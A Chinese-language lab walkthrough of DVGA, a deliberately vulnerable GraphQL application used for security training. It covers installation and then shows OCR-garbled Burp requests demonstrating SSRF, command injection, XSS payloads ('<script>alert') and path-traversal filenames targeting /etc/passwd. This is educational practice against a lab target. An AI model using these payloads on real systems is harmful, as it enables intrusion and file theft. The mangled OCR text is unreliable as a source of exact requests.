概述
DVGA（Damn Vulnerable GraphQL Application）是一个故意设计得漏洞百出的 GraphQL 应用程序，专门用于学习和实践 GraphQL 安全测试。
它模拟了 Facebook GraphQL 技术中多种不安全的实现，为你提供一个合法、安全的攻击环境，以探索和测试各种 GraphQL 相关的漏洞。
安装
# Pull the docker image from Docker Hub

docker pull dolevf/dvga



# Create a container from the image

docker run -t -p 5013:5013⁠ -e WEB_HOST=0.0.0.0 dolevf/dvga

[image: ]
靶场练习
SSRF
1、在【Import Paste】模块中，发现可以导入第三方URL，在输入第三方链接之后进行抓包。
[image: ]
2、发送到repeater模块中分析参数，
输入的链接是
https://maolin101.com/archives/dockeran-zhuang

猜测参数：
host：链接的域名

port：端口

path：路径

scheme：协议

3、发包
[image: ]
命令注入
[image: ]
XSS
[image: ]
[image: ]
任意文件读取
[image: ]
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Pretty Raw  Hex  GraphQL
1 POST /graphal HITP/1.1

2 Host: 192.168. 181. 1:5013
3 Content-Length: 315

4 Accept-Language: zh-CN, zh;
5

6

Accept: application/json
Content~-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537T.36

8 Origin: http://192.168. 181.1:5013

9 Referer: http://192. 168. 181. 1:5013/import_paste

0 Accept-Encoding: gzip, deflate, br

1 Cookie: env=graphigl:disable

2 Comnection: keep-alive

3

4 {
“query”:
“mutation ImportPaste ($host: String!, $port: Int!, $path: String!, $scheme: String!) {\n importPaste (host: $host, port: $port, path: $path, scheme: $sche
me) (\n result\n J\n 3

“variables”: {
“host”: “maolinl0L. con”,
“port”:443,
“path”:” /archives/dockeran-zhuang”,
“schene”: "https’|
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POST /graphql HITP/1.1

Host: 192.168. 181. 1:5013
Content-Length: 315
Accept-Language: zh-CN, zh;q=0.9
Accept: application/json
Content~-Type: application/json

" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,

Chrome/138. 0. 0. 0 Safari/537. 36

Origin: http://192. 168. 181.1:5013

Referer: http://192.168. 181. 1:5013/import_paste
Accept-Encoding: gzip, deflate, br

Cookie: env=graphigl:disable

“query”:
“mutation ImportPaste ($host: String!, $por
importPaste (host: $host, port: $port, path: $path, scheme: $scheme) {\n
I\ )
“variables”: {

“host”: “maolinl01. con”,

“port”:443,

“path”:”/archives/dockeran-zhuang”,

“scheme”: “https”

like Gecko)

$path: String!, $scheme: String!) {\n

result\n

Response
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4
5
6
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HITP/1.1 200 OK

Content-Type: application/json
Content-Length: 96539

Date: Fri, 15 Aug 2025 08:08:30 GMT

{

“data”: {

"importPaste”: {

“result”:

“!doctype html>\n¢html\n  lang=\"en\"\n>\n <hea
Td\u5b66\usb8I\u5168</title>\n\n  <meta charset:
ontent=\"webkit\” />\n  \n  <meta name=\"form:

<meta http-equiv=\"Content-Type\” content=\"t
-equiv=\"Cache-Control\” content=\"no-siteapp\” /’
content=\"IE=edge, chrome=1\" />\n  <meta\n
evice-width, user-scalable=no, initial-scale=1.0,

/>\n <meta\n name=\"author\"\n conte
~equiv=\"x-dns-prefetch-control\” content=\"on\" ,
//maolinl0l. com\” />\n 1-- 06 ->\n  <metar
y-5xszg-001.ico\” />\n  <meta property=\"og:des
/>\n <meta property=\"og:type\” content=\"webs:
ontent=\"zh_CN\" />\n  <meta property=\"og:site
5168-null\” />\n  <meta property=\"og:url\” con
property=\"og:title\"” content=\"docker\u5b89\u8s¢
<meta property=\"twitter:partner\” content=\"ogwp
seript id=\"theme-config-getter\”>\n const Tt

2 \n enable_loading_bar: true, \n enat
A\ e\ ” A\ herl haddll rrllect s Fales \r
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POST /graphql HITP/1.1

Host: 192.168. 181. 1:5013

Content-Length: 280

Accept-Language: zh-CN, zh;q=0.9

Accept: application/json

Content~-Type: application/json

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
Chrome/138. 0. 0. 0 Safari/537. 36

like Gecko)

Origin: http://192. 168. 181.1:5013

Referer: http://192.168. 181. 1:5013/import_paste
Accept-Encoding: gzip, deflate, br

Cookie: env=graphigl:disable

C .

{

“query”:
“mutation ImportPaste ($host: String!, $port: Int!, $path: String!, $scheme
importPaste (host: $host, port: $port, path: $path, scheme: $scheme) {\n
I\ 1

“variables”:

String!) {\n
result\n

Response

Pretty Raw  Hex  Render
HITP/1.1 200 OK
Content~-Type: application/json

1

3 Content-Length: §
4 Date: Fri,
5
6

{

15 Aug 2025 08:28:38 GMT

“data”: {
"importPaste”:
“result”:"uid=1000(dvga) gid=1000(dvga) groups=1000(dvga)\n"
}




image5.png
Request Response
Pretty Raw  Hex  GraphQl
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1 POST /graphql HITP/1.1 1 HITP/1.1 200 OK
2 Host: 192.168. 181. 1:5013 2 Content-Type: application/json
3 Content-Length: 442 3 Content-Length: 133
4 Accept-Language: zh—CN, zh;q=0. 9 4 Date: Fri, 15 Aug 2025 08:32:24 GMT
5 Accept: application/json 5
6 Content-Type: application/json 6
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) “data”: {
Chrome/138. 0. 0. 0 Safari/537. 36 “createPaste”:
8 Origin: http://192.168. 181. 1:5013] “paste”:
9 Referer: http://192.168. 181. 1:5013/create_paste “id":"17",
10 Accept-Encoding: gzip, deflate, br “content”:"<scriptralert (3) ¢/script>”,
11 Cookie: env=graphiql:disable “title”:"(seriptyalert (2)</script>”,
“burn”:false
}
}

“query”: }

“muitation CreatePaste ($title: String!, $content: String!, $public: Boolean!, $burn: Boolean!) {\ )

n createPaste (title:$title, content:$content, public:$public, burn: $burn) {\n P

aste {\n id\n content\n title\n burn\n

I I 1

“variables”: {
“title”:"(seriptyalert (2)</script>”,
“content”:"<scriptralert (3)</script>”,
“public”:true,
“burn”:false
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POST /graphql HITP/1.1 1
Host: 192.168. 181. 1:5013 2 Content-Type: application/json
Content-Length: 243 3 Content-Length: 42
Accept-Language: zh-CN, zh;q=0.9 4 Date: Fri, 15 Aug 2025 08:34:47 GMT
Accept: application/json 5

Content~-Type: application/json 6

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) “data”: {
Chrome/138. 0. 0. 0 Safari/537. 36 “uploadPaste”
Origin: http://192. 168. 181. 1:5013 “result”:
Referer: http://192. 168. 181. 1:5013/upload_paste )
Accept-Encoding: gzip, deflate, br )

Cookie: env=graphiql:disable )

Pretty Raw  Hex  Render
HTTP/1.1 200 OK
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query”:
“muitation UploadPaste ($filename: String!, $content: String!) [{\n uploadPaste (filen
ame: $filename, content:$content)\n {\n result\n ' ”
“variables”: {

“content”:"G0OD",

“filename”:"1. txt”
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POST /graphql HITP/1.1 1
Host: 192.168. 181. 1:5013 2
Content-Length: 289 3
Accept-Language: zh-CN, zh;q=0.9 4 Date: Fri, 15 Aug 2025 08:35:40 GMT
Accept: application/json 5

Content~-Type: application/json 6

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) “data”: {

Chrone/138.0.0.0 Safari/537. 36 “uploadPaste”: {

/192.168. 181. 1:5013 “result”:

: http://192. 168. 181. 1:5013/upload _paste “[Brrno 18] Permission denied: 'pastes/../../../../../../../../../.. /.. [etc/passwd "
Accept-Encoding: gzip, deflate, br )

Cookie: env=graphiql:disable )

Connection:. keep-alive }

= | Pretty Raw Hex Render

HITP/1.1 200 OK
Content-Type: application/json
Content-Length: 120

S10 O W) =

s W= o oo

“query”:
“muitation UploadPaste ($filename: String!, $content: String!) [\n uploadPaste (fi
lename: $filename, content:$content)\n {\n result\n '

“variables” [
“content”: "FILE_content”,
“filename”:"|. /.. /.. /. /. ). ). ) ). . .. [etc/passwd”




image9.png
& cancel || < |v + Burp Al

Request

Pretty Raw  Hex  GraphQl

POST /graphql HITP/1.1

Host: 192.168. 181. 1:5013
Content-Length: 278
Accept-Language: zh-CN, zh;q=0.9
Accept: application/json
Content~-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/138. 0. 0. 0 Safari/537. 36

8§ Origin: http://192.168. 181.1:5013

9 Referer: http://192.168. 181. 1:5013/upload_paste

10 Accept-Encoding: gzip, deflate, br

|1 Cookie: env=graphiql:disable

12 Comnection:. keepralive

1O U WL e

14 {
“query”:
“muitation UploadPaste ($filename: String!, $content: String!) [\n uploadPaste (fi
lename: $filename, content:$content)\n {\n result\n '

“variables”: {
“content”: "FILE_content”,
“filename”:".. /.. /.. /.. /.. /.. /.. /tmp/111. txt”

Response
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Hex  Render

HITP/1.1 200 OK
Content-Type: application/json
Content-Length: 50

Date: Fri,

{

“data”: {

15 Aug 2025 08:36:26 GMT

“uploadPaste”: {

)

“result”:"FILE_content”
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If you aren't yet familiar with GraphQL, see the GraphQL Resources section below. Otherwise, start poking around and find
You can set a “game mode” in DVGA: A beginner level or expert level by clicking on the top bar menu’s cube icon and choc
If you are interacting with DVGA programmatically, you can also set the game mode by passing the HTTP Request Header ;

If the Header is not set, DVGA will default to Beginner mode or to whatever you previously set in the user interface.

Difficulty Level Explanation

Beginner

DVGA's Beginner level is literally the default GraphQL implementation without any restrictions, security controls, or other p
hardening, with the addition of other custom vulnerabilities.

Hard








